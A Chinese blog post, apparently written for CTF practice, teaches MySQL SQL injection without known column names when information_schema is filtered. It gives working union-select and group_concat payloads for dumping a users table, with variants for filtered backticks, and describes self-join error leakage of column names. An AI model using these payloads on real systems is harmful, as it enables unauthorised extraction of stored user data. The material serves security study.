沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

information_schema被过滤了如之奈何其二

0x00 前言


上一篇文章里,我们总结了一些如何在information_schema中查表的方法,但是以上方法是无法查到列名的。所以,我们在本文中,就来总结一个在被过滤的情况下和不知道列名(知道了表名)的情况下进行数据的查询。

0x01 无列名注入


表的结构

select * from users;

image-20210217223933477

首先把表中字段换成数字

select 1,2,3,4,5,6,7,8 union select * from users;

image-20210217224109967

然后查询某一列

select group_concat(`2`) from (select 1,2,3,4,5,6,7,8 union select * from users)a

image-20210217224418045

查询多列

select group_concat(`2`,0x2d,`3`) from (select 1,2,3,4,5,6,7,8 union select * from users)a

image-20210217224936791

反引号被过滤的情况下

select group_concat(fn,0x2d,ln) from (select 1,2 as fn,3 as ln,4,5,6,7,8 union select * from users)a

select group_concat(a.2,0x2d,a.3) from (select 1,2,3,4,5,6,7,8 union select * from users)a

image-20210217225204272

payload

-1 union select 1, group_concat(concat(`2`,0x2d,`3`)) from (select 1,2,3,4,5,6,7,8 union select * from users)a;

image-20210217225521209

可以看到,以上查询并没有用到具体的列名,就能完成注入

0x02 使用join基于报错爆列名


原理

先将表自身连接,使其有相同字段,再将其当作一个表来查询(即from)并取一个别名,因为一个别名表中有相同字段,所以会报错。默认是报错出第一个重复的字段,但是我们可以使用using,来排除已知的字段,一步步把列名全部爆出。

using(id) 相当于a.id = b.id , 这样子连接后只会有一个id字段

爆出第一个列名

image-20210217235809559

爆出下一个列名

image-20210217235918380

可以看到,以上查询对列名的查询,也是从无到有,也算一种无列名查询了

0x0 参考


CTF|mysql之无列名注入 - 知乎 (zhihu.com)

[SQLi] Extracting data without knowing columns names – Redforce

无列名注入总结_D1stiny的博客-CSDN博客_无列名注入